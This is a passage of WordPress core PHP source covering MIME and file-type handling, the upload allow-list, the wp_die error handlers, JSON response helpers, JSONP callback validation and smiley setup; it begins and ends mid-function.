$type = $ext = false;
}
}
/**
* Filters the "real" file type of the given file.
*
* @since 3.0.0
*
* @param array $wp_check_filetype_and_ext File data array containing 'ext', 'type', and
* 'proper_filename' keys.
* @param string $file Full path to the file.
* @param string $filename The name of the file (may differ from $file due to
* $file being in a tmp directory).
* @param array $mimes Key is the file extension with value as the mime type.
*/
return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes );
}
/**
* Returns the real mime type of an image file.
*
* This depends on exif_imagetype() or getimagesize() to determine real mime types.
*
* @since 4.7.1
*
* @param string $file Full path to the file.
* @return string|false The actual mime type or false if the type cannot be determined.
*/
function wp_get_image_mime( $file ) {
/*
* Use exif_imagetype() to check the mimetype if available or fall back to
* getimagesize() if exif isn't avaialbe. If either function throws an Exception
* we assume the file could not be validated.
*/
try {
if ( is_callable( 'exif_imagetype' ) ) {
$imagetype = exif_imagetype( $file );
$mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false;
} elseif ( function_exists( 'getimagesize' ) ) {
$imagesize = getimagesize( $file );
$mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false;
} else {
$mime = false;
}
} catch ( Exception $e ) {
$mime = false;
}
return $mime;
}
/**
* Retrieve list of mime types and file extensions.
*
* @since 3.5.0
* @since 4.2.0 Support was added for GIMP (xcf) files.
*
* @return array Array of mime types keyed by the file extension regex corresponding to those types.
*/
function wp_get_mime_types() {
/**
* Filters the list of mime types and file extensions.
*
* This filter should be used to add, not remove, mime types. To remove
* mime types, use the {@see 'upload_mimes'} filter.
*
* @since 3.5.0
*
* @param array $wp_get_mime_types Mime types keyed by the file extension regex
* corresponding to those types.
*/
return apply_filters( 'mime_types', array(
// Image formats.
'jpg|jpeg|jpe' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'bmp' => 'image/bmp',
'tiff|tif' => 'image/tiff',
'ico' => 'image/x-icon',
// Video formats.
'asf|asx' => 'video/x-ms-asf',
'wmv' => 'video/x-ms-wmv',
'wmx' => 'video/x-ms-wmx',
'wm' => 'video/x-ms-wm',
'avi' => 'video/avi',
'divx' => 'video/divx',
'flv' => 'video/x-flv',
'mov|qt' => 'video/quicktime',
'mpeg|mpg|mpe' => 'video/mpeg',
'mp4|m4v' => 'video/mp4',
'ogv' => 'video/ogg',
'webm' => 'video/webm',
'mkv' => 'video/x-matroska',
'3gp|3gpp' => 'video/3gpp', // Can also be audio
'3g2|3gp2' => 'video/3gpp2', // Can also be audio
// Text formats.
'txt|asc|c|cc|h|srt' => 'text/plain',
'csv' => 'text/csv',
'tsv' => 'text/tab-separated-values',
'ics' => 'text/calendar',
'rtx' => 'text/richtext',
'css' => 'text/css',
'htm|html' => 'text/html',
'vtt' => 'text/vtt',
'dfxp' => 'application/ttaf+xml',
// Audio formats.
'mp3|m4a|m4b' => 'audio/mpeg',
'aac' => 'audio/aac',
'ra|ram' => 'audio/x-realaudio',
'wav' => 'audio/wav',
'ogg|oga' => 'audio/ogg',
'flac' => 'audio/flac',
'mid|midi' => 'audio/midi',
'wma' => 'audio/x-ms-wma',
'wax' => 'audio/x-ms-wax',
'mka' => 'audio/x-matroska',
// Misc application formats.
'rtf' => 'application/rtf',
'js' => 'application/javascript',
'pdf' => 'application/pdf',
'swf' => 'application/x-shockwave-flash',
'class' => 'application/java',
'tar' => 'application/x-tar',
'zip' => 'application/zip',
'gz|gzip' => 'application/x-gzip',
'rar' => 'application/rar',
'7z' => 'application/x-7z-compressed',
'exe' => 'application/x-msdownload',
'psd' => 'application/octet-stream',
'xcf' => 'application/octet-stream',
// MS Office formats.
'doc' => 'application/msword',
'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
'wri' => 'application/vnd.ms-write',
'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
'mdb' => 'application/vnd.ms-access',
'mpp' => 'application/vnd.ms-project',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
'oxps' => 'application/oxps',
'xps' => 'application/vnd.ms-xpsdocument',
// OpenOffice formats.
'odt' => 'application/vnd.oasis.opendocument.text',
'odp' => 'application/vnd.oasis.opendocument.presentation',
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
'odg' => 'application/vnd.oasis.opendocument.graphics',
'odc' => 'application/vnd.oasis.opendocument.chart',
'odb' => 'application/vnd.oasis.opendocument.database',
'odf' => 'application/vnd.oasis.opendocument.formula',
// WordPerfect formats.
'wp|wpd' => 'application/wordperfect',
// iWork formats.
'key' => 'application/vnd.apple.keynote',
'numbers' => 'application/vnd.apple.numbers',
'pages' => 'application/vnd.apple.pages',
) );
}
/**
* Retrieves the list of common file extensions and their types.
*
* @since 4.6.0
*
* @return array Array of file extensions types keyed by the type of file.
*/
function wp_get_ext_types() {
/**
* Filters file type based on the extension name.
*
* @since 2.5.0
*
* @see wp_ext2type()
*
* @param array $ext2type Multi-dimensional array with extensions for a default set
* of file types.
*/
return apply_filters( 'ext2type', array(
'image' => array( 'jpg', 'jpeg', 'jpe', 'gif', 'png', 'bmp', 'tif', 'tiff', 'ico' ),
'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'flac', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
'video' => array( '3g2', '3gp', '3gpp', 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ),
'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'xps', 'oxps', 'rtf', 'wp', 'wpd', 'psd', 'xcf' ),
'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ),
'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
'text' => array( 'asc', 'csv', 'tsv', 'txt' ),
'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ),
'code' => array( 'css', 'htm', 'html', 'php', 'js' ),
) );
}
/**
* Retrieve list of allowed mime types and file extensions.
*
* @since 2.8.6
*
* @param int|WP_User $user Optional. User to check. Defaults to current user.
* @return array Array of mime types keyed by the file extension regex corresponding
* to those types.
*/
function get_allowed_mime_types( $user = null ) {
$t = wp_get_mime_types();
unset( $t['swf'], $t['exe'] );
if ( function_exists( 'current_user_can' ) )
$unfiltered = $user ? user_can( $user, 'unfiltered_html' ) : current_user_can( 'unfiltered_html' );
if ( empty( $unfiltered ) ) {
unset( $t['htm|html'], $t['js'] );
}
/**
* Filters list of allowed mime types and file extensions.
*
* @since 2.0.0
*
* @param array $t Mime types keyed by the file extension regex corresponding to
* those types. 'swf' and 'exe' removed from full list. 'htm|html' also
* removed depending on '$user' capabilities.
* @param int|WP_User|null $user User ID, User object or null if not provided (indicates current user).
*/
return apply_filters( 'upload_mimes', $t, $user );
}
/**
* Display "Are You Sure" message to confirm the action being taken.
*
* If the action has the nonce explain message, then it will be displayed
* along with the "Are you sure?" message.
*
* @since 2.0.4
*
* @param string $action The nonce action.
*/
function wp_nonce_ays( $action ) {
if ( 'log-out' == $action ) {
$html = sprintf(
/* translators: %s: site name */
__( 'You are attempting to log out of %s' ),
get_bloginfo( 'name' )
);
$html .= '</p><p>';
$redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
$html .= sprintf(
/* translators: %s: logout URL */
__( 'Do you really want to <a href="%s">log out</a>?' ),
wp_logout_url( $redirect_to )
);
} else {
$html = __( 'The link you followed has expired.' );
if ( wp_get_referer() ) {
$wp_http_referer = remove_query_arg( 'updated', wp_get_referer() );
$wp_http_referer = wp_validate_redirect( esc_url_raw( $wp_http_referer ) );
$html .= '</p><p>';
$html .= sprintf(
'<a href="%s">%s</a>',
esc_url( $wp_http_referer ),
__( 'Please try again.' )
);
}
}
wp_die( $html, __( 'Something went wrong.' ), 403 );
}
/**
* Kill WordPress execution and display HTML message with error message.
*
* This function complements the `die()` PHP function. The difference is that
* HTML will be displayed to the user. It is recommended to use this function
* only when the execution should not continue any further. It is not recommended
* to call this function very often, and try to handle as many errors as possible
* silently or more gracefully.
*
* As a shorthand, the desired HTTP response code may be passed as an integer to
* the `$title` parameter (the default title would apply) or the `$args` parameter.
*
* @since 2.0.4
* @since 4.1.0 The `$title` and `$args` parameters were changed to optionally accept
* an integer to be used as the response code.
*
* @param string|WP_Error $message Optional. Error message. If this is a WP_Error object,
* and not an Ajax or XML-RPC request, the error's messages are used.
* Default empty.
* @param string|int $title Optional. Error title. If `$message` is a `WP_Error` object,
* error data with the key 'title' may be used to specify the title.
* If `$title` is an integer, then it is treated as the response
* code. Default empty.
* @param string|array|int $args {
* Optional. Arguments to control behavior. If `$args` is an integer, then it is treated
* as the response code. Default empty array.
*
* @type int $response The HTTP response code. Default 200 for Ajax requests, 500 otherwise.
* @type bool $back_link Whether to include a link to go back. Default false.
* @type string $text_direction The text direction. This is only useful internally, when WordPress
* is still loading and the site's locale is not set up yet. Accepts 'rtl'.
* Default is the value of is_rtl().
* }
*/
function wp_die( $message = '', $title = '', $args = array() ) {
if ( is_int( $args ) ) {
$args = array( 'response' => $args );
} elseif ( is_int( $title ) ) {
$args = array( 'response' => $title );
$title = '';
}
if ( wp_doing_ajax() ) {
/**
* Filters the callback for killing WordPress execution for Ajax requests.
*
* @since 3.4.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_ajax_handler', '_ajax_wp_die_handler' );
} elseif ( defined( 'XMLRPC_REQUEST' ) && XMLRPC_REQUEST ) {
/**
* Filters the callback for killing WordPress execution for XML-RPC requests.
*
* @since 3.4.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_xmlrpc_handler', '_xmlrpc_wp_die_handler' );
} else {
/**
* Filters the callback for killing WordPress execution for all non-Ajax, non-XML-RPC requests.
*
* @since 3.0.0
*
* @param callable $function Callback function name.
*/
$function = apply_filters( 'wp_die_handler', '_default_wp_die_handler' );
}
call_user_func( $function, $message, $title, $args );
}
/**
* Kills WordPress execution and display HTML message with error message.
*
* This is the default handler for wp_die if you want a custom one for your
* site then you can overload using the {@see 'wp_die_handler'} filter in wp_die().
*
* @since 3.0.0
* @access private
*
* @param string|WP_Error $message Error message or WP_Error object.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _default_wp_die_handler( $message, $title = '', $args = array() ) {
$defaults = array( 'response' => 500 );
$r = wp_parse_args($args, $defaults);
$have_gettext = function_exists('__');
if ( function_exists( 'is_wp_error' ) && is_wp_error( $message ) ) {
if ( empty( $title ) ) {
$error_data = $message->get_error_data();
if ( is_array( $error_data ) && isset( $error_data['title'] ) )
$title = $error_data['title'];
}
$errors = $message->get_error_messages();
switch ( count( $errors ) ) {
case 0 :
$message = '';
break;
case 1 :
$message = "<p>{$errors[0]}</p>";
break;
default :
$message = "<ul>\n\t\t<li>" . join( "</li>\n\t\t<li>", $errors ) . "</li>\n\t</ul>";
break;
}
} elseif ( is_string( $message ) ) {
$message = "<p>$message</p>";
}
if ( isset( $r['back_link'] ) && $r['back_link'] ) {
$back_text = $have_gettext? __('« Back') : '« Back';
$message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
}
if ( ! did_action( 'admin_head' ) ) :
if ( !headers_sent() ) {
status_header( $r['response'] );
nocache_headers();
header( 'Content-Type: text/html; charset=utf-8' );
}
if ( empty($title) )
$title = $have_gettext ? __('WordPress › Error') : 'WordPress › Error';
$text_direction = 'ltr';
if ( isset($r['text_direction']) && 'rtl' == $r['text_direction'] )
$text_direction = 'rtl';
elseif ( function_exists( 'is_rtl' ) && is_rtl() )
$text_direction = 'rtl';
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) language_attributes(); else echo "dir='$text_direction'"; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width">
<?php
if ( function_exists( 'wp_no_robots' ) ) {
wp_no_robots();
}
?>
<title><?php echo $title ?></title>
<style type="text/css">
html {
background: #f1f1f1;
}
body {
background: #fff;
color: #444;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
margin: 2em auto;
padding: 1em 2em;
max-width: 700px;
-webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.13);
box-shadow: 0 1px 3px rgba(0,0,0,0.13);
}
h1 {
border-bottom: 1px solid #dadada;
clear: both;
color: #666;
font-size: 24px;
margin: 30px 0 0 0;
padding: 0;
padding-bottom: 7px;
}
#error-page {
margin-top: 50px;
}
#error-page p {
font-size: 14px;
line-height: 1.5;
margin: 25px 0 20px;
}
#error-page code {
font-family: Consolas, Monaco, monospace;
}
ul li {
margin-bottom: 10px;
font-size: 14px ;
}
a {
color: #0073aa;
}
a:hover,
a:active {
color: #00a0d2;
}
a:focus {
color: #124964;
-webkit-box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, .8);
box-shadow:
0 0 0 1px #5b9dd9,
0 0 2px 1px rgba(30, 140, 190, .8);
outline: none;
}
.button {
background: #f7f7f7;
border: 1px solid #ccc;
color: #555;
display: inline-block;
text-decoration: none;
font-size: 13px;
line-height: 26px;
height: 28px;
margin: 0;
padding: 0 10px 1px;
cursor: pointer;
-webkit-border-radius: 3px;
-webkit-appearance: none;
border-radius: 3px;
white-space: nowrap;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-box-shadow: 0 1px 0 #ccc;
box-shadow: 0 1px 0 #ccc;
vertical-align: top;
}
.button.button-large {
height: 30px;
line-height: 28px;
padding: 0 12px 2px;
}
.button:hover,
.button:focus {
background: #fafafa;
border-color: #999;
color: #23282d;
}
.button:focus {
border-color: #5b9dd9;
-webkit-box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
box-shadow: 0 0 3px rgba( 0, 115, 170, .8 );
outline: none;
}
.button:active {
background: #eee;
border-color: #999;
-webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
-webkit-transform: translateY(1px);
-ms-transform: translateY(1px);
transform: translateY(1px);
}
<?php
if ( 'rtl' == $text_direction ) {
echo 'body { font-family: Tahoma, Arial; }';
}
?>
</style>
</head>
<body id="error-page">
<?php endif; // ! did_action( 'admin_head' ) ?>
<?php echo $message; ?>
</body>
</html>
<?php
die();
}
/**
* Kill WordPress execution and display XML message with error message.
*
* This is the handler for wp_die when processing XMLRPC requests.
*
* @since 3.2.0
* @access private
*
* @global wp_xmlrpc_server $wp_xmlrpc_server
*
* @param string $message Error message.
* @param string $title Optional. Error title. Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
global $wp_xmlrpc_server;
$defaults = array( 'response' => 500 );
$r = wp_parse_args($args, $defaults);
if ( $wp_xmlrpc_server ) {
$error = new IXR_Error( $r['response'] , $message);
$wp_xmlrpc_server->output( $error->getXml() );
}
die();
}
/**
* Kill WordPress ajax execution.
*
* This is the handler for wp_die when processing Ajax requests.
*
* @since 3.4.0
* @access private
*
* @param string $message Error message.
* @param string $title Optional. Error title (unused). Default empty.
* @param string|array $args Optional. Arguments to control behavior. Default empty array.
*/
function _ajax_wp_die_handler( $message, $title = '', $args = array() ) {
$defaults = array(
'response' => 200,
);
$r = wp_parse_args( $args, $defaults );
if ( ! headers_sent() && null !== $r['response'] ) {
status_header( $r['response'] );
}
if ( is_scalar( $message ) )
die( (string) $message );
die( '0' );
}
/**
* Kill WordPress execution.
*
* This is the handler for wp_die when processing APP requests.
*
* @since 3.4.0
* @access private
*
* @param string $message Optional. Response to print. Default empty.
*/
function _scalar_wp_die_handler( $message = '' ) {
if ( is_scalar( $message ) )
die( (string) $message );
die();
}
/**
* Encode a variable into JSON, with some sanity checks.
*
* @since 4.1.0
*
* @param mixed $data Variable (usually an array or object) to encode as JSON.
* @param int $options Optional. Options to be passed to json_encode(). Default 0.
* @param int $depth Optional. Maximum depth to walk through $data. Must be
* greater than 0. Default 512.
* @return string|false The JSON encoded string, or false if it cannot be encoded.
*/
function wp_json_encode( $data, $options = 0, $depth = 512 ) {
/*
* json_encode() has had extra params added over the years.
* $options was added in 5.3, and $depth in 5.5.
* We need to make sure we call it with the correct arguments.
*/
if ( version_compare( PHP_VERSION, '5.5', '>=' ) ) {
$args = array( $data, $options, $depth );
} elseif ( version_compare( PHP_VERSION, '5.3', '>=' ) ) {
$args = array( $data, $options );
} else {
$args = array( $data );
}
// Prepare the data for JSON serialization.
$args[0] = _wp_json_prepare_data( $data );
$json = @call_user_func_array( 'json_encode', $args );
// If json_encode() was successful, no need to do more sanity checking.
// ... unless we're in an old version of PHP, and json_encode() returned
// a string containing 'null'. Then we need to do more sanity checking.
if ( false !== $json && ( version_compare( PHP_VERSION, '5.5', '>=' ) || false === strpos( $json, 'null' ) ) ) {
return $json;
}
try {
$args[0] = _wp_json_sanity_check( $data, $depth );
} catch ( Exception $e ) {
return false;
}
return call_user_func_array( 'json_encode', $args );
}
/**
* Perform sanity checks on data that shall be encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see wp_json_encode()
*
* @param mixed $data Variable (usually an array or object) to encode as JSON.
* @param int $depth Maximum depth to walk through $data. Must be greater than 0.
* @return mixed The sanitized data that shall be encoded to JSON.
*/
function _wp_json_sanity_check( $data, $depth ) {
if ( $depth < 0 ) {
throw new Exception( 'Reached depth limit' );
}
if ( is_array( $data ) ) {
$output = array();
foreach ( $data as $id => $el ) {
// Don't forget to sanitize the ID!
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
// Check the element type, so that we're only recursing if we really have to.
if ( is_array( $el ) || is_object( $el ) ) {
$output[ $clean_id ] = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output[ $clean_id ] = _wp_json_convert_string( $el );
} else {
$output[ $clean_id ] = $el;
}
}
} elseif ( is_object( $data ) ) {
$output = new stdClass;
foreach ( $data as $id => $el ) {
if ( is_string( $id ) ) {
$clean_id = _wp_json_convert_string( $id );
} else {
$clean_id = $id;
}
if ( is_array( $el ) || is_object( $el ) ) {
$output->$clean_id = _wp_json_sanity_check( $el, $depth - 1 );
} elseif ( is_string( $el ) ) {
$output->$clean_id = _wp_json_convert_string( $el );
} else {
$output->$clean_id = $el;
}
}
} elseif ( is_string( $data ) ) {
return _wp_json_convert_string( $data );
} else {
return $data;
}
return $output;
}
/**
* Convert a string to UTF-8, so that it can be safely encoded to JSON.
*
* @ignore
* @since 4.1.0
* @access private
*
* @see _wp_json_sanity_check()
*
* @staticvar bool $use_mb
*
* @param string $string The string which is to be converted.
* @return string The checked string.
*/
function _wp_json_convert_string( $string ) {
static $use_mb = null;
if ( is_null( $use_mb ) ) {
$use_mb = function_exists( 'mb_convert_encoding' );
}
if ( $use_mb ) {
$encoding = mb_detect_encoding( $string, mb_detect_order(), true );
if ( $encoding ) {
return mb_convert_encoding( $string, 'UTF-8', $encoding );
} else {
return mb_convert_encoding( $string, 'UTF-8', 'UTF-8' );
}
} else {
return wp_check_invalid_utf8( $string, true );
}
}
/**
* Prepares response data to be serialized to JSON.
*
* This supports the JsonSerializable interface for PHP 5.2-5.3 as well.
*
* @ignore
* @since 4.4.0
* @access private
*
* @param mixed $data Native representation.
* @return bool|int|float|null|string|array Data ready for `json_encode()`.
*/
function _wp_json_prepare_data( $data ) {
if ( ! defined( 'WP_JSON_SERIALIZE_COMPATIBLE' ) || WP_JSON_SERIALIZE_COMPATIBLE === false ) {
return $data;
}
switch ( gettype( $data ) ) {
case 'boolean':
case 'integer':
case 'double':
case 'string':
case 'NULL':
// These values can be passed through.
return $data;
case 'array':
// Arrays must be mapped in case they also return objects.
return array_map( '_wp_json_prepare_data', $data );
case 'object':
// If this is an incomplete object (__PHP_Incomplete_Class), bail.
if ( ! is_object( $data ) ) {
return null;
}
if ( $data instanceof JsonSerializable ) {
$data = $data->jsonSerialize();
} else {
$data = get_object_vars( $data );
}
// Now, pass the array (or whatever was returned from jsonSerialize through).
return _wp_json_prepare_data( $data );
default:
return null;
}
}
/**
* Send a JSON response back to an Ajax request.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $response Variable (usually an array or object) to encode as JSON,
* then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json( $response, $status_code = null ) {
@header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
if ( null !== $status_code ) {
status_header( $status_code );
}
echo wp_json_encode( $response );
if ( wp_doing_ajax() ) {
wp_die( '', '', array(
'response' => null,
) );
} else {
die;
}
}
/**
* Send a JSON response back to an Ajax request, indicating success.
*
* @since 3.5.0
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $data Data to encode as JSON, then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json_success( $data = null, $status_code = null ) {
$response = array( 'success' => true );
if ( isset( $data ) )
$response['data'] = $data;
wp_send_json( $response, $status_code );
}
/**
* Send a JSON response back to an Ajax request, indicating failure.
*
* If the `$data` parameter is a WP_Error object, the errors
* within the object are processed and output as an array of error
* codes and corresponding messages. All other types are output
* without further processing.
*
* @since 3.5.0
* @since 4.1.0 The `$data` parameter is now processed if a WP_Error object is passed in.
* @since 4.7.0 The `$status_code` parameter was added.
*
* @param mixed $data Data to encode as JSON, then print and die.
* @param int $status_code The HTTP status code to output.
*/
function wp_send_json_error( $data = null, $status_code = null ) {
$response = array( 'success' => false );
if ( isset( $data ) ) {
if ( is_wp_error( $data ) ) {
$result = array();
foreach ( $data->errors as $code => $messages ) {
foreach ( $messages as $message ) {
$result[] = array( 'code' => $code, 'message' => $message );
}
}
$response['data'] = $result;
} else {
$response['data'] = $data;
}
}
wp_send_json( $response, $status_code );
}
/**
* Checks that a JSONP callback is a valid JavaScript callback.
*
* Only allows alphanumeric characters and the dot character in callback
* function names. This helps to mitigate XSS attacks caused by directly
* outputting user input.
*
* @since 4.6.0
*
* @param string $callback Supplied JSONP callback function.
* @return bool True if valid callback, otherwise false.
*/
function wp_check_jsonp_callback( $callback ) {
if ( ! is_string( $callback ) ) {
return false;
}
preg_replace( '/[^\w\.]/', '', $callback, -1, $illegal_char_count );
return 0 === $illegal_char_count;
}
/**
* Retrieve the WordPress home page URL.
*
* If the constant named 'WP_HOME' exists, then it will be used and returned
* by the function. This can be used to counter the redirection on your local
* development environment.
*
* @since 2.2.0
* @access private
*
* @see WP_HOME
*
* @param string $url URL for the home location.
* @return string Homepage location.
*/
function _config_wp_home( $url = '' ) {
if ( defined( 'WP_HOME' ) )
return untrailingslashit( WP_HOME );
return $url;
}
/**
* Retrieve the WordPress site URL.
*
* If the constant named 'WP_SITEURL' is defined, then the value in that
* constant will always be returned. This can be used for debugging a site
* on your localhost while not having to change the database to your URL.
*
* @since 2.2.0
* @access private
*
* @see WP_SITEURL
*
* @param string $url URL to set the WordPress site location.
* @return string The WordPress Site URL.
*/
function _config_wp_siteurl( $url = '' ) {
if ( defined( 'WP_SITEURL' ) )
return untrailingslashit( WP_SITEURL );
return $url;
}
/**
* Delete the fresh site option.
*
* @since 4.7.0
* @access private
*/
function _delete_option_fresh_site() {
update_option( 'fresh_site', '0' );
}
/**
* Set the localized direction for MCE plugin.
*
* Will only set the direction to 'rtl', if the WordPress locale has
* the text direction set to 'rtl'.
*
* Fills in the 'directionality' setting, enables the 'directionality'
* plugin, and adds the 'ltr' button to 'toolbar1', formerly
* 'theme_advanced_buttons1' array keys. These keys are then returned
* in the $mce_init (TinyMCE settings) array.
*
* @since 2.1.0
* @access private
*
* @param array $mce_init MCE settings array.
* @return array Direction set for 'rtl', if needed by locale.
*/
function _mce_set_direction( $mce_init ) {
if ( is_rtl() ) {
$mce_init['directionality'] = 'rtl';
$mce_init['rtl_ui'] = true;
if ( ! empty( $mce_init['plugins'] ) && strpos( $mce_init['plugins'], 'directionality' ) === false ) {
$mce_init['plugins'] .= ',directionality';
}
if ( ! empty( $mce_init['toolbar1'] ) && ! preg_match( '/\bltr\b/', $mce_init['toolbar1'] ) ) {
$mce_init['toolbar1'] .= ',ltr';
}
}
return $mce_init;
}
/**
* Convert smiley code to the icon graphic file equivalent.
*
* You can turn off smilies, by going to the write setting screen and unchecking
* the box, or by setting 'use_smilies' option to false or removing the option.
*
* Plugins may override the default smiley list by setting the $wpsmiliestrans
* to an array, with the key the code the blogger types in and the value the
* image file.
*
* The $wp_smiliessearch global is for the regular expression and is set each
* time the function is called.
*
* The full list of smilies can be found in the function and won't be listed in
* the description. Probably should create a Codex page for it, so that it is
* available.
*
* @global array $wpsmiliestrans
* @global array $wp_smiliessearch
*
* @since 2.2.0
*/
function smilies_init() {
global $wpsmiliestrans, $wp_smiliessearch;
// don't bother setting up smilies if they are disabled
if ( !get_option( 'use_smilies' ) )
return;
if ( !isset( $wpsmiliestrans ) ) {
$wpsmiliestrans = array(
':mrgreen:' => 'mrgreen.png',
':neutral:' => "\xf0\x9f\x98\x90",
':twisted:' => "\xf0\x9f\x98\x88",
':arrow:' => "\xe2\x9e\xa1",
':shock:' => "\xf0\x9f\x98\xaf",
':smile:' => "\xf0\x9f\x99\x82",
':???:' => "\xf0\x9f\x98\x95",
':cool:' => "\xf0\x9f\x98\x8e",
':evil:' => "\xf0\x9f\x91\xbf",
':grin:' => "\xf0\x9f\x98\x80",
':idea:' => "\xf0\x9f\x92\xa1",
':oops:' => "\xf0\x9f\x98\xb3",
':razz:' => "\xf0\x9f\x98\x9b",
':roll:' => "\xf0\x9f\x99\x84",
':wink:' => "\xf0\x9f\x98\x89",
':cry:' => "\xf0\x9f\x98\xa5",
':eek:' => "\xf0\x9f\x98\xae",
':lol:' => "\xf0\x9f\x98\x86",
':mad:' => "\xf0\x9f\x98\xa1",
':sad:' => "\xf0\x9f\x99\x81",
'8-)' => "\xf0\x9f\x98\x8e",
'8-O' => "\xf0\x9f\x98\xaf",
':-(' => "\xf0\x9f\x99\x81",
':-)' => "\xf0\x9f\x99\x82",
':-?' => "\xf0\x9f\x98\x95",
':-D' => "\xf0\x9f\x98\x80",
':-P' => "\xf0\x9f\x98\x9b",
':-o' => "\xf0\x9f\x98\xae",
':-x' => "\xf0\x9f\x98\xa1",
':-|' => "\xf0\x9f\x98\x90",
';-)' => "\xf0\x9f\x98\x89",
// This one transformation breaks regular text with frequency.
// '8)' => "\xf0\x9f\x98\x8e",
'8O' => "\xf0\x9f\x98\xaf",
':(' => "\xf0\x9f\x99\x81",
':)' => "\xf0\x9f\x99\x82",
':?' => "\xf0\x9f\x98\x95",
':D' => "\xf0\x9f\x98\x80",
':P' => "\xf0\x9f\x98\x9b",
':o' => "\xf0\x9f\x98\xae",
':x' => "\xf0\x9f\x98\xa1",
':|' => "\xf0\x9f\x98\x90",
';)' => "\xf0\x9f\x98\x89",
':!:' => "\xe2\x9d\x97",
':?:' => "\xe2\x9d\x93",
);
}
/**
* Filters all the smilies.
*
* This filter must be added before `smilies_init` is run, as
* it is normally only run once to setup the smilies regex.
*
* @since 4.7.0
*
* @param array $wpsmiliestrans List of the smilies.
*/
$wpsmiliestrans = apply_filters('smilies', $wpsmiliestrans);
if (count($wpsmiliestrans) == 0) {
return;
}
/*
* NOTE: we sort the smilies in reverse key order. This is to make sure
* we match the longest possible smilie (:???: vs :?) as the regular
* expression used below is first-match
*/
krsort($wpsmiliestrans);
$spaces = wp_spaces_regexp();
// Begin first "subpattern"
$wp_smiliessearch = '/(?<=' . $spaces . '|^)';
$subchar = '';
foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
$firstchar = substr($smiley, 0, 1);
$rest = substr($smiley, 1);
// new subpattern?
if ($firstchar != $subchar) {
if ($subchar != '') {
$wp_smiliessearch .= ')(?=' . $spaces . '|$)'; // End previous "subpattern"
